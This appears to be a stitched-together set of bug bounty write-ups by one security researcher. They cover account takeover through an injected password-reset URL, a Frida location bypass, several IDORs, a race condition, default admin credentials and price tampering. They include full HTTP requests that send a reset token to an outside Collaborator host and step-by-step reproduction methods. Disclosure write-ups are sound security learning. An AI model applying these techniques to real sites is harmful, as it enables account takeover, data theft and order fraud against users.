👋 Hi, I’m Om Dubey, a Security Analyst and Bug Hunter with a knack for uncovering hidden vulnerabilities in tech. I specialize in web hacking, API pentesting, and Mobile App Testing, constantly pushing boundaries to secure systems. 🔍💻

Think your tech is secure? Let’s find out. 💥

What is a Full Account Takeover?

A Full Account Takeover occurs when an attacker gains complete access to a user’s account. This includes their personal data, sensitive transactions, and even administrative privileges if the account is linked to higher roles. The attacker can impersonate the user, modify their data, and wreak havoc — a nightmare scenario for any organization and its users.

Steps to Reproduce

1. I Visit on Forgot Password Page https://example.com/login and Put the Account details whose password want to Change and I click on Reset Password
2. Capture the Request into Burpsuite and send it to Repeater and the Request Looks like this

POST /api/v2/identity/auth/password-reset HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://example.com/login
Content-Type: application/json
Content-Length: 188
Origin: https://example.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

{“domain_name”:”example_test”,”user_name”:”example8@example.com”,”user_email”:”example8@example.com”,”url_template”:”https://example.com/login?reset=$secret"}

3. Then Edit the url_template with Burp Collaborator id like this “url_template”:“https://example.com7ckpyj8boqwk8izrriw5cmg2xt3jr8.oastify.com/login?reset=$secret” and this is my burpcollaborator id 7ckpyj8boqwk8izrriw5cmg2xt3jr8.oastify.com

4. And the Final Request looks like this

POST /api/v2/identity/auth/password-reset HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://example.com/login
Content-Type: application/json
Content-Length: 230
Origin: https://example.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

{“domain_name”:”example_test”,”user_name”:”example8@example.com”,”user_email”:”example@example.com”,”url_template”:”https://example.com7ckpyj8boqwk8izrriw5cmg2xt3jr8.oastify.com/login?reset=$secret"}

5. Then Sends the Request and I Receive the Success Response and Injected Reset Password link in my email like this https://example.com7ckpyj8boqwk8izrriw5cmg2xt3jr8.oastify.com/login?reset=p4ChmI9RuhDT4aq5K9g_aU2EvxVhgUxjJVOyTernuZ4

6. Then I Click on this link

7. And the reset password Token are Prompt on my BurpCollaborator Client.

8. And as you all know with the use of that token Account is Successfully Takeovered.

But After Reporting it its got Duplicate 😥

Impact

Account takeover (ATO) is a serious security threat that can have a significant impact on both individuals and organizations. Here’s a breakdown of the potential consequences:

1. Financial Loss

• For individuals: Attackers may gain access to bank accounts, credit cards, or online shopping accounts, leading to unauthorized transactions and financial loss.
• For organizations: ATO could lead to financial fraud, unauthorized payments, and theft of funds from business accounts.

2. Identity Theft

• For individuals: Personal information such as Social Security numbers, passwords, and addresses can be stolen, potentially leading to identity theft and misuse.
• For organizations: Sensitive data like employee records, client data, and intellectual property can be exploited for fraud or illegal activities.

3. Reputational Damage

• For individuals: If personal social media accounts are compromised, attackers may post inappropriate content, which can damage the individual’s reputation.
• For organizations: ATO of customer accounts can lead to negative publicity, loss of customer trust, and damage to the brand’s reputation.

4. Loss of Access to Services

• For individuals: Loss of control over personal accounts can make it difficult to access online services, emails, or personal data.
• For organizations: Critical systems and data can be held hostage or rendered inaccessible, potentially halting business operations.

5. Privacy Breach

• For individuals: ATO can expose private conversations, emails, photos, and other sensitive information, putting an individual’s privacy at risk.
• For organizations: Customer data, internal communications, and confidential business strategies may be leaked or exploited.

Bye Bye

Hello, Pentester! In this post, I’ll take you through an intriguing journey of bypassing location restrictions in Android applications, showcasing my findings and techniques that can elevate your pentesting skills!

Description

App Compatibility Issues: Some applications exhibit different behaviors on emulators compared to real devices due to varying security and permission policies. Many apps implement stricter checks for location services when running on emulators to prevent misuse or bypassing of location-based restrictions. These checks could include detecting the use of mock locations, verifying hardware-level sensors like GPS, or monitoring the network-based location access. As a result, even with location permissions enabled in an emulator, apps may not function as expected unless run on a physical device, where real-time hardware-based location data is available.

Steps for Bypass

1. I used apktool (or any decompilation tool) to decompile the APK and access the application’s source code
2. There were multiple files handling location logic. And many files contained key checks and logic for fetching the device’s location like this

3. Once I identified the relevant file responsible for location-based errors, I created a JavaScript hook to manipulate the behavior using Frida.

frida -l locate.js -U -f com.package

4. After running the Frida hook, I Logged in again and the location error was successfully bypassed.

5. The app no longer displayed the “Location not available” error, and I was able to proceed with the functionality as if on a real device.

Challenges Faced and How I Overcame Them

• Emulator Detection: The app had checks in place to identify if it was running on an emulator, making location spoofing tricky.
  Solution: Used Frida to hook the relevant function and manipulated the location data.
• Multiple Location Checks: There were multiple files, involved in the location logic. Identifying the correct one took time.
  Solution: Thorough code inspection and testing using hooks at different points helped pinpoint the right logic.

Impact of the Vulnerability

• Improper Location Handling: If left unpatched, attackers could bypass location restrictions, affecting the app’s core features (like region-specific content or geofencing).
• Business Impact: This could lead to misuse of services, financial losses, or legal issues if the app operates in regulated industries.

Mitigation and Recommendations

• Use Strong Emulator Detection: Implement advanced checks beyond basic location access detection, like monitoring hardware sensors.
• Secure Location Services: Use server-side verification for location data instead of relying solely on client-side checks.
• Obfuscate Critical Code: Protect sensitive logic, such as location checks, to prevent reverse engineering attempts.

Conclusion

This process demonstrates how critical it is to perform dynamic analysis and instrumentation during pentesting. Bypassing location checks using Frida showcases how attackers can exploit weak validation mechanisms. Developers need to ensure robust security practices to prevent such manipulations.

Here’s what can happen:

• View sensitive user information like delivery addresses and order details.
• Change delivery addresses and order times without the user knowing.
• Add or remove products from any user’s cart.
• Manipulate users’ order data, which could cause privacy violations and financial problems.

Steps to Reproduce

1. Login and Add a Product: I logged into my account and added a product to the basket. Then, I added an address for delivery.
2. Capture the GET Request: The system makes a GET request to an API endpoint (e.g., /api/baskets/721a56fd-7055-4f65-b28b-3c995041) where all the order and address info is listed. But this request isn’t tied to any authorization token, which is problematic.

1. Access the Request Unauthenticated: I copied the GET request, opened it in another browser without logging in, and could still view the order and address details.
2. Modify Other Users’ Orders: I then captured a PUT request to change the address and delivery time. By removing the Authorization token and changing the basket ID to another user’s (PUT /api/baskets/11d41b90-70b5-4ae5-9c30-b56dfc88/dispatchaddress), I was able to modify another user’s address.
3. Add or Remove Products: By capturing product IDs, I used the DELETE endpoint (DELETE /api/baskets/11d41b90-70b5-4ae5-9c30-b56dfc88/products/2121449) to remove items from another user’s cart. I could also add products unauthenticated via PUT.

Impact

Even though this vulnerability was marked as low, it could still lead to:

1. Privacy Violations: Attackers can see personal information like addresses and orders.
2. Financial Loss: Users or the platform could face financial damage if orders are tampered with.
3. Loss of Trust: If users notice their orders were changed, they might lose trust in the platform.

Description:

The vulnerability I discovered involves a race condition in the way the platform handles product favorites. A race condition occurs when multiple processes or threads access shared resources concurrently, leading to unpredictable results. In this case, the favorite count of a product can be manipulated through repeated requests, thanks to dynamic caching.

Steps to Reproduce:

Account Creation:

Create an account on the platform and navigate to any product page. For instance, [this product page](https://www.example.com/listings/***-wear-x-tommy-hilfiger) initially shows 0 favorites.

Adding to Favorites:

Click on the heart icon to add the product to your favorites. The count should increase.

Capturing the Request:

Use Burp Suite to capture the HTTP request when you add the product to favorites and send it to Repeater.

Replicating the Request:

Copy the captured request as a cURL command and create a bash script that repeats this command multiple times.

Running the Script:

Execute the bash script to send multiple requests, significantly increasing the favorites count.

Observations:

Due to dynamic caching, the favorites count is visible for a specific time. By hosting the script on a VPS and running it continuously, I was able to keep increasing the favorites count, exploiting the race condition.

Receiving a Small Bounty but OKK

Impact of the Vulnerability

Artificially Inflated Favorites:

Products can appear more popular than they are, misleading potential buyers into thinking they are more desirable.

Loss of User Trust:

Users may question the accuracy of the favorites count, leading to a loss of confidence in the platform’s reliability.

Data Integrity Issues:

Manipulated favorite counts can skew the platform’s analytics and reporting, affecting business decisions.

Potential Denial-of-Service (DoS):

Continuous manipulation of favorites can overwhelm the system, potentially causing performance issues or downtime for legitimate users.

So my first methodology is that I always try to find more subdomains which helps me to gather more information of a website.

So I finds a Subdomain on which admin panel is hosted(lets take abc.example.com) So I check all the the request and responses and its functionality to bypass the admin panel but its won’t work here

So I think, Why not try with company mail domain in Username and password as a admin so I put Username = admin@example.com and password = Admin and Boom the Dashboard is open in front of me😁.

I have access to Change User list or delete any Admin or user.

I Put Blurred Image due to company Policies.

If You Want to Learn Bug Bounty or want to take CEH training(with Certificate of a private Organization) so Please Contact me. We teach you that how to find bugs in a Systematic way and you will Learn different ways to finds bugs. We will also helps you that how to finds Private Programs of Bug Bounty. Contact me at omdubey170@gmail.com

Thank You

Insecure Direct Object References (IDOR Vulnerability) Insecure direct object references (IDOR) are a type of access control vulnerability that arises when an application uses user-supplied input to access objects directly. The term IDOR was popularized by its appearance in the OWASP 2007 Top Ten.

Proof of Concept

1. so i use google dorks for recon the website so is use the dork site:*.example.com inurl:.aspx
2. so in the result the user data has been leaked and URL is like this https://buy.example.com/protect/landing.aspx?base64encodeddata
3. this base64 encoded data is a user’s mobile number by which a user is validated so i change the mobile number to other user’s mobile number and the other user’s data has been leaked
4. i can not put screenshot because of company policies
5. this Vulnerability gives me 2000$ and the severity of this bug is P0
6. Google Dorks always gives different result

Follow me on Linkedin https://www.linkedin.com/in/dubeyom/

checkout my personal findings and contact me on telegram https://t.me/+27aPEPMHR6w3Mjg1

IMPACT

Unauthorized access to sensitive data — Object references often include database IDs, which attackers can access to expose sensitive information about the application/users. The unauthorized user can also use database entries to prepare malicious SQL payloads for further attacks. Object manipulation — With access to internal references, attackers gain direct access to the data and state of the application. Attackers can then manipulate the exposed objects to modify data, access hidden functions, or further escalate privileges. Direct file access — Malicious users can combine IDOR attacks with directory transversal attack techniques to manipulate the host’s file system. This grants them the ability to upload/download files freely and manipulate content accessed by other users.

MITIGATION

The most foolproof way to prevent IDOR vulnerabilities and attacks is to perform access validation. If an attacker tries to tamper with an application or database by modifying the given reference, the system should be able to shut down the request, verifying that the user does not have the proper credentials.

What is IDOR

In a web application, whenever a user generates, sends, or receives a request from a server, there are some HTTP parameters such as “id”, “uid”, “pid” etc that have some unique values which the user has been assigned. An attacker can see such parameter values in cookies, headers, or wifi Packet captures. Via this, an attacker might be able to tamper with these values and this tampering may lead to IDOR.

Steps to Reproduce

1. I Simply recon the website and i found the endpoint https://app.example.com/pay?key=
2. By Doing more research I thought the key is mandory for fetch users data or bill. I am not disclosing the name of the site for security purpose So I am going to name it example.com for the demo
3. And i use waybackurls tool for seach directories and i find one of the key there in which user data , bills , Mobile Number and email id is leaked and one of the url is https://app.example.com/pay?key=%2Fp%2F3TwraY
4. This key is very short an attacker can easily bruteforce it and fetch users details. i also fetch some user details for showing how easy it is. I fetched the data of about 100 users but I can do more but I fetched the data of 100 users just to show this vulnerability
5. Company Declared its Severity as P1
6. I found this vulnerability in just 30 minutes.
7. I show you one Screenshot also.

Security Impact

1. Exposure of Confidential Information: When the attacker will have control over your account via this vulnerability, it is obvious that an attacker will be able to come across your personal information.
2. Authentication Bypass: As the attacker can have access to millions of accounts with this vulnerability, it will be a type of Authentication bypass mechanism.
3. Alteration of Data: An attacker may have privileges to access your data and alter it. By this, an attacker may have permission to make changes to your data, which may lead to the manipulation of records.
4. Account Takeover: While an attacker may have multiple access to user accounts just by changing the “UID” values, this will lead to account takeover vulnerability. When one vulnerability leads to another vulnerability(like in this case), It is known as the Chaining of BUGS.

Severity = P1

Bounty = 300$

Go check my Linkedin Account for more Disclosures https://www.linkedin.com/in/dubeyom/

Go to my Telegram account for my personal findings https://t.me/+27aPEPMHR6w3Mjg1

Thank you

What is Business Logic Flaw

Business logic vulnerabilities are flaws in the
design and implementation of an application that allows an
attacker to elicit unintended behaviour. This potentially
enables attackers to manipulate legitimate functionality to
achieve a malicious goal.

POC

I simply test the website and there is a path by which we can order medicines , Health Products , etc. I Successfully adds 5 items

And fills all the details which is necessary for order like address , name etc.

Then i click on the Checkout button and intercepts the request, the request is in Json Format. The original price of products are 1995 Ruppees

The Value of parameters in unitPrice = 399, discountPrice=399,
and totalPrice=1995.

But there is a vulnerability of Business Logic so i edit the value of paarameter in the request and I change into unitPrice = 100, discountPrice=100, and totalPrice=500 because we add 5 items in the cart

Then I simply forward the request and successfully i reached my goal

Impact
This vulnerability is known as Excessive trust in client-side control.
The impact of business logic vulnerabilities can, at times, be
fairly trivial. It is a broad category and the impact is highly
variable. However, any unintended behavior can potentially
lead to high-severity attacks if an attacker is able to manipulate
the application in the right way. For this reason, quirky logic
should ideally be fixed even if you can’t work out how to exploit
it yourself. There is always a risk that someone else will be able
to.

How to prevent

1. A developer should never assume that the request will come only
   from the browser.
2. 2. Developer should understand the overall business logic.
   Typically, several developers work on a single product. So, every developer should understand various other components and how
   they function in a business.
3. 3. Maintain logic, business and data flows in the application.
4. 4. Maintain best coding practices with comments and explanation
   of code. When a new developer gets into shoes of a developed code,
   it will be very daunting to understand the code without proper
   comments.

keep Learning with me

Follow my Linkedin https://www.linkedin.com/in/dubeyom/

And Checkout my Telegram for my personal finding and also contact with me on https://t.me/+27aPEPMHR6w3Mjg1

Thank You